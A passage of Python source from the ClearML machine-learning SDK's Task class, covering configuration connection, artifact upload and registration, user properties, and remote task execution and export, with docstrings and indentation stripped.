the **ClearML Server** (backend), in a HOCON format (JSON-like format) which is editable.
- A ``pathlib2.Path`` string - A path to the configuration file. ClearML stores the content of the file.
A local path must be relative path. When executing a Task remotely in a worker, the contents brought
from the **ClearML Server** (backend) overwrites the contents of the file.
:param str name: Configuration section name. default: 'General'
Allowing users to store multiple configuration dicts/files
:param str description: Configuration section description (text). default: None
:return: If a dictionary is specified, then a dictionary is returned. If pathlib2.Path / string is
specified, then a path to a local configuration file is returned. Configuration object.
"""
pathlib_Path = None # noqa
if not isinstance(configuration, (dict, list, Path, six.string_types)):
try:
from pathlib import Path as pathlib_Path # noqa
except ImportError:
pass
if not pathlib_Path or not isinstance(configuration, pathlib_Path):
raise ValueError("connect_configuration supports `dict`, `str` and 'Path' types, "
"{} is not supported".format(type(configuration)))
multi_config_support = Session.check_min_api_version('2.9')
if multi_config_support and not name:
name = self._default_configuration_section_name
if not multi_config_support and name and name != self._default_configuration_section_name:
raise ValueError("Multiple configurations is not supported with the current 'clearml-server', "
"please upgrade to the latest version")
# parameter dictionary
if isinstance(configuration, (dict, list,)):
def _update_config_dict(task, config_dict):
if multi_config_support:
# noinspection PyProtectedMember
task._set_configuration(
name=name, description=description, config_type='dictionary', config_dict=config_dict)
else:
# noinspection PyProtectedMember
task._set_model_config(config_dict=config_dict)
if not running_remotely() or not (self.is_main_task() or self._is_remote_main_task()):
if multi_config_support:
self._set_configuration(
name=name, description=description, config_type='dictionary', config_dict=configuration)
else:
self._set_model_config(config_dict=configuration)
if isinstance(configuration, dict):
configuration = ProxyDictPostWrite(self, _update_config_dict, **configuration)
else:
# noinspection PyBroadException
try:
remote_configuration = self._get_configuration_dict(name=name) \
if multi_config_support else self._get_model_config_dict()
except Exception:
remote_configuration = None
if remote_configuration is None:
LoggerRoot.get_base_logger().warning(
"Could not retrieve remote configuration named \'{}\'\n"
"Using default configuration: {}".format(name, str(configuration)))
# update back configuration section
if multi_config_support:
self._set_configuration(
name=name, description=description,
config_type='dictionary', config_dict=configuration)
return configuration
if isinstance(configuration, dict):
configuration.clear()
configuration.update(remote_configuration)
configuration = ProxyDictPreWrite(False, False, **configuration)
elif isinstance(configuration, list):
configuration.clear()
configuration.extend(remote_configuration)
return configuration
# it is a path to a local file
if not running_remotely() or not (self.is_main_task() or self._is_remote_main_task()):
# check if not absolute path
configuration_path = Path(configuration)
if not configuration_path.is_file():
ValueError("Configuration file does not exist")
try:
with open(configuration_path.as_posix(), 'rt') as f:
configuration_text = f.read()
except Exception:
raise ValueError("Could not connect configuration file {}, file could not be read".format(
configuration_path.as_posix()))
if multi_config_support:
self._set_configuration(
name=name, description=description,
config_type=configuration_path.suffixes[-1].lstrip('.')
if configuration_path.suffixes and configuration_path.suffixes[-1] else 'file',
config_text=configuration_text)
else:
self._set_model_config(config_text=configuration_text)
return configuration
else:
configuration_text = self._get_configuration_text(name=name) if multi_config_support \
else self._get_model_config_text()
if configuration_text is None:
LoggerRoot.get_base_logger().warning(
"Could not retrieve remote configuration named \'{}\'\n"
"Using default configuration: {}".format(name, str(configuration)))
# update back configuration section
if multi_config_support:
configuration_path = Path(configuration)
if configuration_path.is_file():
with open(configuration_path.as_posix(), 'rt') as f:
configuration_text = f.read()
self._set_configuration(
name=name, description=description,
config_type=configuration_path.suffixes[-1].lstrip('.')
if configuration_path.suffixes and configuration_path.suffixes[-1] else 'file',
config_text=configuration_text)
return configuration
configuration_path = Path(configuration)
fd, local_filename = mkstemp(prefix='clearml_task_config_',
suffix=configuration_path.suffixes[-1] if
configuration_path.suffixes else '.txt')
os.write(fd, configuration_text.encode('utf-8'))
os.close(fd)
if pathlib_Path:
return pathlib_Path(local_filename)
return Path(local_filename) if isinstance(configuration, Path) else local_filename
def connect_label_enumeration(self, enumeration):
# type: (Dict[str, int]) -> Dict[str, int]
"""
Connect a label enumeration dictionary to a Task (experiment) object.
Later, when creating an output model, the model will include the label enumeration dictionary.
:param dict enumeration: A label enumeration dictionary of string (label) to integer (value) pairs.
For example:
.. code-block:: javascript
{
'background': 0,
'person': 1
}
:return: The label enumeration dictionary (JSON).
"""
if not isinstance(enumeration, dict):
raise ValueError("connect_label_enumeration supports only `dict` type, "
"{} is not supported".format(type(enumeration)))
if not running_remotely() or not (self.is_main_task() or self._is_remote_main_task()):
self.set_model_label_enumeration(enumeration)
else:
# pop everything
enumeration.clear()
enumeration.update(self.get_labels_enumeration())
return enumeration
def get_logger(self):
# type: () -> Logger
"""
Get a Logger object for reporting, for this task context. You can view all Logger report output associated with
the Task for which this method is called, including metrics, plots, text, tables, and images, in the
**ClearML Web-App (UI)**.
:return: The Logger for the Task (experiment).
"""
return self._get_logger(auto_connect_streams=self._log_to_backend)
def mark_started(self, force=False):
# type: (bool) -> ()
"""
Manually mark a Task as started (happens automatically)
:param bool force: If True the task status will be changed to `started` regardless of the current Task state.
"""
# UI won't let us see metrics if we're not started
self.started(force=force)
self.reload()
def mark_stopped(self, force=False, status_message=None):
# type: (bool, Optional[str]) -> ()
"""
Manually mark a Task as stopped (also used in :meth:`_at_exit`)
:param bool force: If True the task status will be changed to `stopped` regardless of the current Task state.
:param str status_message: Optional, add status change message to the stop request.
This message will be stored as status_message on the Task's info panel
"""
# flush any outstanding logs
self.flush(wait_for_uploads=True)
# mark task as stopped
self.stopped(force=force, status_message=str(status_message) if status_message else None)
def flush(self, wait_for_uploads=False):
# type: (bool) -> bool
"""
Flush any outstanding reports or console logs.
:param bool wait_for_uploads: Wait for all outstanding uploads to complete
- ``True`` - Wait
- ``False`` - Do not wait (default)
"""
# make sure model upload is done
if BackendModel.get_num_results() > 0 and wait_for_uploads:
BackendModel.wait_for_results()
# flush any outstanding logs
if self._logger:
# noinspection PyProtectedMember
self._logger._flush_stdout_handler()
if self.__reporter:
self.__reporter.flush()
if wait_for_uploads:
self.__reporter.wait_for_events()
LoggerRoot.flush()
return True
def reset(self, set_started_on_success=False, force=False):
# type: (bool, bool) -> None
"""
Reset a Task. ClearML reloads a Task after a successful reset.
When a worker executes a Task remotely, the Task does not reset unless
the ``force`` parameter is set to ``True`` (this avoids accidentally clearing logs and metrics).
:param bool set_started_on_success: If successful, automatically set the Task to `started`
- ``True`` - If successful, set to started.
- ``False`` - If successful, do not set to started. (default)
:param bool force: Force a Task reset, even when executing the Task (experiment) remotely in a worker
- ``True`` - Force
- ``False`` - Do not force (default)
"""
if not running_remotely() or not self.is_main_task() or force:
super(Task, self).reset(set_started_on_success=set_started_on_success, force=force)
def close(self):
"""
Close the current Task. Enables you to manually shutdown the task.
.. warning::
Only call :meth:`Task.close` if you are certain the Task is not needed.
"""
if self._at_exit_called:
return
# store is main before we call at_exit, because will will Null it
is_main = self.is_main_task()
is_sub_process = self.__is_subprocess()
# wait for repository detection (5 minutes should be reasonable time to detect all packages)
if self._logger and not self.__is_subprocess():
self._wait_for_repo_detection(timeout=300.)
self.__shutdown()
# unregister atexit callbacks and signal hooks, if we are the main task
if is_main:
self.__register_at_exit(None)
if not is_sub_process:
# make sure we enable multiple Task.init callas with reporting sub-processes
BackgroundMonitor.clear_main_process(self)
# noinspection PyProtectedMember
Logger._remove_std_logger()
def delete(
self,
delete_artifacts_and_models=True,
skip_models_used_by_other_tasks=True,
raise_on_error=False,
callback=None,
):
# type: (bool, bool, bool, Callable[[str, str], bool]) -> bool
"""
Delete the task as well as it's output models and artifacts.
Models and artifacts are deleted from their storage locations, each using its URI.
Note: in order to delete models and artifacts using their URI, make sure the proper storage credentials are
configured in your configuration file (e.g. if an artifact is stored in S3, make sure sdk.aws.s3.credentials
are properly configured and that you have delete permission in the related buckets).
:param delete_artifacts_and_models: If True, artifacts and models would also be deleted (default True).
If callback is provided, this argument is ignored.
:param skip_models_used_by_other_tasks: If True, models used by other tasks would not be deleted (default True)
:param raise_on_error: If True an exception will be raised when encountering an error.
If False an error would be printed and no exception will be raised.
:param callback: An optional callback accepting a uri type (string) and a uri (string) that will be called
for each artifact and model. If provided, the delete_artifacts_and_models is ignored.
Return True to indicate the artifact/model should be deleted or False otherwise.
:return: True if the task was deleted successfully.
"""
if not running_remotely() or not self.is_main_task():
return super(Task, self)._delete(
delete_artifacts_and_models=delete_artifacts_and_models,
skip_models_used_by_other_tasks=skip_models_used_by_other_tasks,
raise_on_error=raise_on_error,
callback=callback,
)
return False
def register_artifact(self, name, artifact, metadata=None, uniqueness_columns=True):
# type: (str, pandas.DataFrame, Dict, Union[bool, Sequence[str]]) -> None
"""
Register (add) an artifact for the current Task. Registered artifacts are dynamically sychronized with the
**ClearML Server** (backend). If a registered artifact is updated, the update is stored in the
**ClearML Server** (backend). Registered artifacts are primarily used for Data Auditing.
The currently supported registered artifact object type is a pandas.DataFrame.
See also :meth:`Task.unregister_artifact` and :meth:`Task.get_registered_artifacts`.
.. note::
ClearML also supports uploaded artifacts which are one-time uploads of static artifacts that are not
dynamically sychronized with the **ClearML Server** (backend). These static artifacts include
additional object types. For more information, see :meth:`Task.upload_artifact`.
:param str name: The name of the artifact.
.. warning::
If an artifact with the same name was previously registered, it is overwritten.
:param object artifact: The artifact object.
:param dict metadata: A dictionary of key-value pairs for any metadata. This dictionary appears with the
experiment in the **ClearML Web-App (UI)**, **ARTIFACTS** tab.
:param uniqueness_columns: A Sequence of columns for artifact uniqueness comparison criteria, or the default
value of ``True``. If ``True``, the artifact uniqueness comparison criteria is all the columns,
which is the same as ``artifact.columns``.
"""
if not isinstance(uniqueness_columns, CollectionsSequence) and uniqueness_columns is not True:
raise ValueError('uniqueness_columns should be a List (sequence) or True')
if isinstance(uniqueness_columns, str):
uniqueness_columns = [uniqueness_columns]
self._artifacts_manager.register_artifact(
name=name, artifact=artifact, metadata=metadata, uniqueness_columns=uniqueness_columns)
def unregister_artifact(self, name):
# type: (str) -> None
"""
Unregister (remove) a registered artifact. This removes the artifact from the watch list that ClearML uses
to synchronize artifacts with the **ClearML Server** (backend).
.. important::
- Calling this method does not remove the artifact from a Task. It only stops ClearML from
monitoring the artifact.
- When this method is called, ClearML immediately takes the last snapshot of the artifact.
"""
self._artifacts_manager.unregister_artifact(name=name)
def get_registered_artifacts(self):
# type: () -> Dict[str, Artifact]
"""
Get a dictionary containing the Task's registered (dynamically synchronized) artifacts (name, artifact object).
.. note::
After calling ``get_registered_artifacts``, you can still modify the registered artifacts.
:return: The registered (dynamically synchronized) artifacts.
"""
return self._artifacts_manager.registered_artifacts
def upload_artifact(
self,
name, # type: str
artifact_object, # type: Union[str, Mapping, pandas.DataFrame, numpy.ndarray, Image.Image, Any]
metadata=None, # type: Optional[Mapping]
delete_after_upload=False, # type: bool
auto_pickle=True, # type: bool
preview=None, # type: Any
wait_on_upload=False, # type: bool
extension_name=None, # type: Optional[str]
):
# type: (...) -> bool
"""
Upload (add) a static artifact to a Task object. The artifact is uploaded in the background.
The currently supported upload (static) artifact types include:
- string / pathlib2.Path - A path to artifact file. If a wildcard or a folder is specified, then ClearML
creates and uploads a ZIP file.
- dict - ClearML stores a dictionary as ``.json`` (or see ``extension_name``) file and uploads it.
- pandas.DataFrame - ClearML stores a pandas.DataFrame as ``.csv.gz`` (compressed CSV)
(or see ``extension_name``) file and uploads it.
- numpy.ndarray - ClearML stores a numpy.ndarray as ``.npz`` (or see ``extension_name``)
file and uploads it.
- PIL.Image - ClearML stores a PIL.Image as ``.png`` (or see ``extension_name``) file and uploads it.
- Any - If called with auto_pickle=True, the object will be pickled and uploaded.
:param str name: The artifact name.
.. warning::
If an artifact with the same name was previously uploaded, then it is overwritten.
:param object artifact_object: The artifact object.
:param dict metadata: A dictionary of key-value pairs for any metadata. This dictionary appears with the
experiment in the **ClearML Web-App (UI)**, **ARTIFACTS** tab.
:param bool delete_after_upload: After the upload, delete the local copy of the artifact
- ``True`` - Delete the local copy of the artifact.
- ``False`` - Do not delete. (default)
:param bool auto_pickle: If True (default) and the artifact_object is not one of the following types:
pathlib2.Path, dict, pandas.DataFrame, numpy.ndarray, PIL.Image, url (string), local_file (string)
the artifact_object will be pickled and uploaded as pickle file artifact (with file extension .pkl)
:param Any preview: The artifact preview
:param bool wait_on_upload: Whether or not the upload should be synchronous, forcing the upload to complete
before continuing.
:param str extension_name: File extension which indicates the format the artifact should be stored as.
The following are supported, depending on the artifact type
(default value applies when extension_name is None):
- dict - ``.json``, ``.yaml`` (default ``.json``)
- pandas.DataFrame - ``.csv.gz``, ``.parquet``, ``.feather``, ``.pickle`` (default ``.csv.gz``)
- numpy.ndarray - ``.npz``, ``.csv.gz`` (default ``.npz``)
- PIL.Image - whatever extensions PIL supports (default ``.png``)
:return: The status of the upload.
- ``True`` - Upload succeeded.
- ``False`` - Upload failed.
:raise: If the artifact object type is not supported, raise a ``ValueError``.
"""
return self._artifacts_manager.upload_artifact(
name=name, artifact_object=artifact_object, metadata=metadata, delete_after_upload=delete_after_upload,
auto_pickle=auto_pickle, preview=preview, wait_on_upload=wait_on_upload, extension_name=extension_name)
def get_models(self):
# type: () -> Mapping[str, Sequence[Model]]
"""
Return a dictionary with {'input': [], 'output': []} loaded/stored models of the current Task
Input models are files loaded in the task, either manually or automatically logged
Output models are files stored in the task, either manually or automatically logged
Automatically logged frameworks are for example: TensorFlow, Keras, PyTorch, ScikitLearn(joblib) etc.
:return: A dictionary-like object with "input"/"output" keys and input/output properties, pointing to a
list-like object containing of Model objects. Each list-like object also acts as a dictionary, mapping
model name to a appropriate model instance.
Example:
.. code-block:: py
{'input': [clearml.Model()], 'output': [clearml.Model()]}
"""
return TaskModels(self)
def is_current_task(self):
# type: () -> bool
"""
.. deprecated:: 0.13.0
This method is deprecated. Use :meth:`Task.is_main_task` instead.
Is this Task object the main execution Task (initially returned by :meth:`Task.init`)
:return: Is this Task object the main execution Task
- ``True`` - Is the main execution Task.
- ``False`` - Is not the main execution Task.
"""
return self.is_main_task()
def is_main_task(self):
# type: () -> bool
"""
Is this Task object the main execution Task (initially returned by :meth:`Task.init`)
.. note::
If :meth:`Task.init` was never called, this method will *not* create
it, making this test more efficient than:
.. code-block:: py
Task.init() == task
:return: Is this Task object the main execution Task
- ``True`` - Is the main execution Task.
- ``False`` - Is not the main execution Task.
"""
return self is self.__main_task
def set_model_config(self, config_text=None, config_dict=None):
# type: (Optional[str], Optional[Mapping]) -> None
"""
.. deprecated:: 0.14.1
Use :meth:`Task.connect_configuration` instead.
"""
self._set_model_config(config_text=config_text, config_dict=config_dict)
def get_model_config_text(self):
# type: () -> str
"""
.. deprecated:: 0.14.1
Use :meth:`Task.connect_configuration` instead.
"""
return self._get_model_config_text()
def get_model_config_dict(self):
# type: () -> Dict
"""
.. deprecated:: 0.14.1
Use :meth:`Task.connect_configuration` instead.
"""
return self._get_model_config_dict()
def set_model_label_enumeration(self, enumeration=None):
# type: (Optional[Mapping[str, int]]) -> ()
"""
Set the label enumeration for the Task object before creating an output model.
Later, when creating an output model, the model will inherit these properties.
:param dict enumeration: A label enumeration dictionary of string (label) to integer (value) pairs.
For example:
.. code-block:: javascript
{
'background': 0,
'person': 1
}
"""
super(Task, self).set_model_label_enumeration(enumeration=enumeration)
def get_last_iteration(self):
# type: () -> int
"""
Get the last reported iteration, which is the last iteration for which the Task reported a metric.
.. note::
The maximum reported iteration is not in the local cache. This method
sends a request to the **ClearML Server** (backend).
:return: The last reported iteration number.
"""
self._reload_last_iteration()
return max(self.data.last_iteration or 0, self.__reporter.max_iteration if self.__reporter else 0)
def set_initial_iteration(self, offset=0):
# type: (int) -> int
"""
Set initial iteration, instead of zero. Useful when continuing training from previous checkpoints
:param int offset: Initial iteration (at starting point)
:return: Newly set initial offset.
"""
return super(Task, self).set_initial_iteration(offset=offset)
def get_initial_iteration(self):
# type: () -> int
"""
Return the initial iteration offset, default is 0
Useful when continuing training from previous checkpoints
:return: Initial iteration offset.
"""
return super(Task, self).get_initial_iteration()
def get_last_scalar_metrics(self):
# type: () -> Dict[str, Dict[str, Dict[str, float]]]
"""
Get the last scalar metrics which the Task reported. This is a nested dictionary, ordered by title and series.
For example:
.. code-block:: javascript
{
'title': {
'series': {
'last': 0.5,
'min': 0.1,
'max': 0.9
}
}
}
:return: The last scalar metrics.
"""
self.reload()
metrics = self.data.last_metrics
scalar_metrics = dict()
for i in metrics.values():
for j in i.values():
scalar_metrics.setdefault(j['metric'], {}).setdefault(
j['variant'], {'last': j['value'], 'min': j['min_value'], 'max': j['max_value']})
return scalar_metrics
def get_parameters_as_dict(self, cast=False):
# type: (bool) -> Dict
"""
Get the Task parameters as a raw nested dictionary.
.. note::
If `cast` is False (default) The values are not parsed. They are returned as is.
:param cast: If True, cast the parameter to the original type. Default False,
values are returned in their string representation
"""
return naive_nested_from_flat_dictionary(self.get_parameters(cast=cast))
def set_parameters_as_dict(self, dictionary):
# type: (Dict) -> None
"""
Set the parameters for the Task object from a dictionary. The dictionary can be nested.
This does not link the dictionary to the Task object. It does a one-time update. This
is the same behavior as the :meth:`Task.connect` method.
"""
self._arguments.copy_from_dict(flatten_dictionary(dictionary))
def get_user_properties(self, value_only=False):
# type: (bool) -> Dict[str, Union[str, dict]]
"""
Get user properties for this task.
Returns a dictionary mapping user property name to user property details dict.
:param value_only: If True, returned user property details will be a string representing the property value.
"""
if not Session.check_min_api_version("2.9"):
self.log.info("User properties are not supported by the server")
return {}
section = "properties"
params = self._hyper_params_manager.get_hyper_params(
sections=[section], projector=attrgetter("value") if value_only else None
)
return dict(params.get(section, {}))
def set_user_properties(
self,
*iterables, # type: Union[Mapping[str, Union[str, dict, None]], Iterable[dict]]
**properties # type: Union[str, dict, int, float, None]
):
# type: (...) -> bool
"""
Set user properties for this task.
A user property can contain the following fields (all of type string):
name / value / description / type
Examples:
task.set_user_properties(backbone='great', stable=True)
task.set_user_properties(backbone={"type": int, "description": "network type", "value": "great"}, )
task.set_user_properties(
{"name": "backbone", "description": "network type", "value": "great"},
{"name": "stable", "description": "is stable", "value": True},
)
:param iterables: Properties iterables, each can be:
* A dictionary of string key (name) to either a string value (value) a dict (property details). If the value
is a dict, it must contain a "value" field. For example:
.. code-block:: javascript
{
"property_name": {"description": "This is a user property", "value": "property value"},
"another_property_name": {"description": "This is user property", "value": "another value"},
"yet_another_property_name": "some value"
}
* An iterable of dicts (each representing property details). Each dict must contain a "name" field and a
"value" field. For example:
.. code-block:: javascript
[
{
"name": "property_name",
"description": "This is a user property",
"value": "property value"
},
{
"name": "another_property_name",
"description": "This is another user property",
"value": "another value"
}
]
:param properties: Additional properties keyword arguments. Key is the property name, and value can be
a string (property value) or a dict (property details). If the value is a dict, it must contain a "value"
field. For example:
.. code-block:: javascript
{
"property_name": "string as property value",
"another_property_name": {
"type": "string",
"description": "This is user property",
"value": "another value"
}
}
"""
if not Session.check_min_api_version("2.9"):
self.log.info("User properties are not supported by the server")
return False
return self._hyper_params_manager.edit_hyper_params(
iterables=list(properties.items()) + (
list(iterables.items()) if isinstance(iterables, dict) else list(iterables)),
replace='none',
force_section="properties",
)
def get_script(self):
# type: (...) -> Mapping[str, Optional[str]]
"""
Get task's script details.
Returns a dictionary containing the script details.
:return: Dictionary with script properties e.g.
{
'working_dir': 'examples/reporting',
'entry_point': 'artifacts.py',
'branch': 'master',
'repository': 'https://github.com/allegroai/clearml.git'
}
"""
script = self.data.script
return {
"working_dir": script.working_dir,
"entry_point": script.entry_point,
"branch": script.branch,
"repository": script.repository
}
def set_script(
self,
repository=None, # type: Optional[str]
branch=None, # type: Optional[str]
commit=None, # type: Optional[str]
diff=None, # type: Optional[str]
working_dir=None, # type: Optional[str]
entry_point=None, # type: Optional[str]
):
# type: (...) -> None
"""
Set task's script.
Examples:
task.set_script(repository='https://github.com/allegroai/clearml.git,
branch='main',
working_dir='examples/reporting',
entry_point='artifacts.py')
:param repository: Optional, URL of remote repository. use empty string ("") to clear repository entry.
:param branch: Optional, Select specific repository branch / tag. use empty string ("") to clear branch entry.
:param commit: Optional, set specific git commit id. use empty string ("") to clear commit id entry.
:param diff: Optional, set "git diff" section. use empty string ("") to clear git-diff entry.
:param working_dir: Optional, Working directory to launch the script from.
:param entry_point: Optional, Path to execute within the repository.
"""
self.reload()
script = self.data.script
if repository is not None:
script.repository = str(repository) or None
if branch is not None:
script.branch = str(branch) or None
if script.tag:
script.tag = None
if commit is not None:
script.version_num = str(commit) or None
if diff is not None:
script.diff = str(diff) or None
if working_dir is not None:
script.working_dir = str(working_dir)
if entry_point is not None:
script.entry_point = str(entry_point)
# noinspection PyProtectedMember
self._update_script(script=script)
def delete_user_properties(self, *iterables):
# type: (Iterable[Union[dict, Iterable[str, str]]]) -> bool
"""
Delete hyper-parameters for this task.
:param iterables: Hyper parameter key iterables. Each an iterable whose possible values each represent
a hyper-parameter entry to delete, value formats are:
* A dictionary containing a 'section' and 'name' fields
* An iterable (e.g. tuple, list etc.) whose first two items denote 'section' and 'name'
"""
if not Session.check_min_api_version("2.9"):
self.log.info("User properties are not supported by the server")
return False
return self._hyper_params_manager.delete_hyper_params(*iterables)
def set_base_docker(
self,
docker_cmd=None, # type: Optional[str]
docker_image=None, # type: Optional[str]
docker_arguments=None, # type: Optional[Union[str, Sequence[str]]]
docker_setup_bash_script=None # type: Optional[Union[str, Sequence[str]]]
):
# type: (...) -> ()
"""
Set the base docker image for this experiment
If provided, this value will be used by clearml-agent to execute this experiment
inside the provided docker image.
When running remotely the call is ignored
:param docker_cmd: Deprecated! compound docker container image + arguments
(example: 'nvidia/cuda:11.1 -e test=1') Deprecated, use specific arguments.
:param docker_image: docker container image (example: 'nvidia/cuda:11.1')
:param docker_arguments: docker execution parameters (example: '-e ENV=1')
:param docker_setup_bash_script: bash script to run at the
beginning of the docker before launching the Task itself. example: ['apt update', 'apt-get install -y gcc']
"""
if not self.running_locally() and self.is_main_task():
return
super(Task, self).set_base_docker(
docker_cmd=docker_cmd or docker_image,
docker_arguments=docker_arguments,
docker_setup_bash_script=docker_setup_bash_script
)
def set_resource_monitor_iteration_timeout(self, seconds_from_start=1800):
# type: (float) -> bool
"""
Set the ResourceMonitor maximum duration (in seconds) to wait until first scalar/plot is reported.
If timeout is reached without any reporting, the ResourceMonitor will start reporting machine statistics based
on seconds from Task start time (instead of based on iteration)
:param seconds_from_start: Maximum number of seconds to wait for scalar/plot reporting before defaulting
to machine statistics reporting based on seconds from experiment start time
:return: True if success
"""
if not self._resource_monitor:
return False
self._resource_monitor.wait_for_first_iteration = seconds_from_start
self._resource_monitor.max_check_first_iteration = seconds_from_start
return True
def execute_remotely(self, queue_name=None, clone=False, exit_process=True):
# type: (Optional[str], bool, bool) -> Optional[Task]
"""
If task is running locally (i.e., not by ``clearml-agent``), then clone the Task and enqueue it for remote
execution; or, stop the execution of the current Task, reset its state, and enqueue it. If ``exit==True``,
*exit* this process.
.. note::
If the task is running remotely (i.e., ``clearml-agent`` is executing it), this call is a no-op
(i.e., does nothing).
:param queue_name: The queue name used for enqueueing the task. If ``None``, this call exits the process
without enqueuing the task.
:param clone: Clone the Task and execute the newly cloned Task
The values are:
- ``True`` - A cloned copy of the Task will be created, and enqueued, instead of this Task.
- ``False`` - The Task will be enqueued.
:param exit_process: The function call will leave the calling process at the end
- ``True`` - Exit the process (exit(0)).
- ``False`` - Do not exit the process.
.. warning::
If ``clone==False``, then ``exit_process`` must be ``True``.
:return Task: return the task object of the newly generated remotely executing task
"""
# do nothing, we are running remotely
if running_remotely() and self.is_main_task():
return None
if not self.is_main_task():
LoggerRoot.get_base_logger().warning(
"Calling task.execute_remotely is only supported on main Task (created with Task.init)\n"
"Defaulting to self.enqueue(queue_name={})".format(queue_name)
)
if not queue_name:
raise ValueError("queue_name must be provided")
enqueue_task = Task.clone(source_task=self) if clone else self
Task.enqueue(task=enqueue_task, queue_name=queue_name)
return
if not clone and not exit_process:
raise ValueError(
"clone==False and exit_process==False is not supported. "
"Task enqueuing itself must exit the process afterwards.")
# make sure we analyze the process
if self.status in (Task.TaskStatusEnum.in_progress,):
if clone:
# wait for repository detection (5 minutes should be reasonable time to detect all packages)
self.flush(wait_for_uploads=True)
if self._logger and not self.__is_subprocess():
self._wait_for_repo_detection(timeout=300.)
else:
# close ourselves (it will make sure the repo is updated)
self.close()
# clone / reset Task
if clone:
task = Task.clone(self)
else:
task = self
# check if the server supports enqueueing aborted/stopped Tasks
if Session.check_min_api_server_version('2.13'):
self.mark_stopped(force=True)
else:
self.reset()
# enqueue ourselves
if queue_name:
Task.enqueue(task, queue_name=queue_name)
LoggerRoot.get_base_logger().warning(
'Switching to remote execution, output log page {}'.format(task.get_output_log_web_page()))
else:
# Remove the development system tag
system_tags = [t for t in task.get_system_tags() if t != self._development_tag]
self.set_system_tags(system_tags)
# if we leave the Task out there, it makes sense to make it editable.
self.reset(force=True)
# leave this process.
if exit_process:
LoggerRoot.get_base_logger().warning('Terminating local execution process')
leave_process(0)
return task
def create_function_task(self, func, func_name=None, task_name=None, **kwargs):
# type: (Callable, Optional[str], Optional[str], **Optional[Any]) -> Optional[Task]
"""
Create a new task, and call ``func`` with the specified kwargs.
One can think of this call as remote forking, where the newly created instance is the new Task
calling the specified func with the appropriate kwargs and leave once the func terminates.
Notice that a remote executed function cannot create another child remote executed function.
.. note::
- Must be called from the main Task, i.e. the one created by Task.init(...)
- The remote Tasks inherits the environment from the creating Task
- In the remote Task, the entrypoint is the same as the creating Task
- In the remote Task, the execution is the same until reaching this function call
:param func: A function to execute remotely as a single Task.
On the remote executed Task the entry-point and the environment are copied from this
calling process, only this function call redirect the the execution flow to the called func,
alongside the passed arguments
:param func_name: A unique identifier of the function. Default the function name without the namespace.
For example Class.foo() becomes 'foo'
:param task_name: The newly create Task name. Default: the calling Task name + function name
:param kwargs: name specific arguments for the target function.
These arguments will appear under the configuration, "Function" section
:return Task: Return the newly created Task or None if running remotely and execution is skipped
"""
if not self.is_main_task():
raise ValueError("Only the main Task object can call create_function_task()")
if not callable(func):
raise ValueError("func must be callable")
if not Session.check_min_api_version('2.9'):
raise ValueError("Remote function execution is not supported, "
"please upgrade to the latest server version")
func_name = str(func_name or func.__name__).strip()
if func_name in self._remote_functions_generated:
raise ValueError("Function name must be unique, a function by the name '{}' "
"was already created by this Task.".format(func_name))
section_name = 'Function'
tag_name = 'func'
func_marker = '__func_readonly__'
# sanitize the dict, leave only basic types that we might want to override later in the UI
func_params = {k: v for k, v in kwargs.items() if verify_basic_value(v)}
func_params[func_marker] = func_name
# do not query if we are running locally, there is no need.
task_func_marker = self.running_locally() or self.get_parameter('{}/{}'.format(section_name, func_marker))
# if we are running locally or if we are running remotely but we are not a forked tasks
# condition explained:
# (1) running in development mode creates all the forked tasks
# (2) running remotely but this is not one of the forked tasks (i.e. it is missing the fork tag attribute)
if self.running_locally() or not task_func_marker:
self._wait_for_repo_detection(300)
task = self.clone(self, name=task_name or '{} <{}>'.format(self.name, func_name), parent=self.id)
task.set_system_tags((task.get_system_tags() or []) + [tag_name])
task.connect(func_params, name=section_name)
self._remote_functions_generated[func_name] = task.id
return task
# check if we are one of the generated functions and if this is us,
# if we are not the correct function, not do nothing and leave
if task_func_marker != func_name:
self._remote_functions_generated[func_name] = len(self._remote_functions_generated) + 1
return
# mark this is us:
self._remote_functions_generated[func_name] = self.id
# this is us for sure, let's update the arguments and call the function
self.connect(func_params, name=section_name)
func_params.pop(func_marker, None)
kwargs.update(func_params)
func(**kwargs)
# This is it, leave the process
leave_process(0)
def wait_for_status(
self,
status=(_Task.TaskStatusEnum.completed, _Task.TaskStatusEnum.stopped, _Task.TaskStatusEnum.closed),
raise_on_status=(_Task.TaskStatusEnum.failed,),
check_interval_sec=60.,
):
# type: (Iterable[Task.TaskStatusEnum], Optional[Iterable[Task.TaskStatusEnum]], float) -> ()
"""
Wait for a task to reach a defined status.
:param status: Status to wait for. Defaults to ('completed', 'stopped', 'closed', )
:param raise_on_status: Raise RuntimeError if the status of the tasks matches one of these values.
Defaults to ('failed').
:param check_interval_sec: Interval in seconds between two checks. Defaults to 60 seconds.
:raise: RuntimeError if the status is one of {raise_on_status}.
"""
stopped_status = list(status) + (list(raise_on_status) if raise_on_status else [])
while self.status not in stopped_status:
time.sleep(check_interval_sec)
if raise_on_status and self.status in raise_on_status:
raise RuntimeError("Task {} has status: {}.".format(self.task_id, self.status))
# make sure we have the Task object
self.reload()
def export_task(self):
# type: () -> dict
"""
Export Task's configuration into a dictionary (for serialization purposes).
A Task can be copied/modified by calling Task.import_task()
Notice: Export task does not include the tasks outputs, such as results
(scalar/plots etc.) or Task artifacts/models
:return: dictionary of the Task's configuration.
"""
self.reload()
export_data = self.data.to_dict()
export_data.pop('last_metrics', None)
export_data.pop('last_iteration', None)
export_data.pop('status_changed', None)
export_data.pop('status_reason', None)
export_data.pop('status_message', None)
export_data.get('execution', {}).pop('artifacts', None)
export_data.get('execution', {}).pop('model', None)
export_data['project_name'] = self.get_project_name()
export_data['session_api_version'] = self.session.api_version
return export_data
def update_task(self, task_data):
# type: (dict) -> bool
"""
Update current task with configuration found on the task_data dictionary.
See also export_task() for retrieving Task configuration.
:param task_data: dictionary with full Task configuration
:return: return True if Task update was successful
"""
return bool(self.import_task(task_data=task_data, target_task=self, update=True))
@classmethod
def import_task(cls, task_data, target_task=None, update=False):
# type: (dict, Optional[Union[str, Task]], bool) -> Optional[Task]
"""
Import (create) Task from previously exported Task configuration (see Task.export_task)
Can also be used to edit/update an existing Task (by passing `target_task` and `update=True`).
:param task_data: dictionary of a Task's configuration
:param target_task: Import task_data into an existing Task. Can be either task_id (str) or Task object.
:param update: If True, merge task_data with current Task configuration.
:return: return True if Task was imported/updated
"""
# restore original API version (otherwise, we might not be able to restore the data correctly)
force_api_version = task_data.get('session_api_version') or None
original_api_version = Session.api_version
original_force_max_api_version = Session.force_max_api_version
if force_api_version:
Session.force_max_api_version = str(force_api_version)
if not target_task:
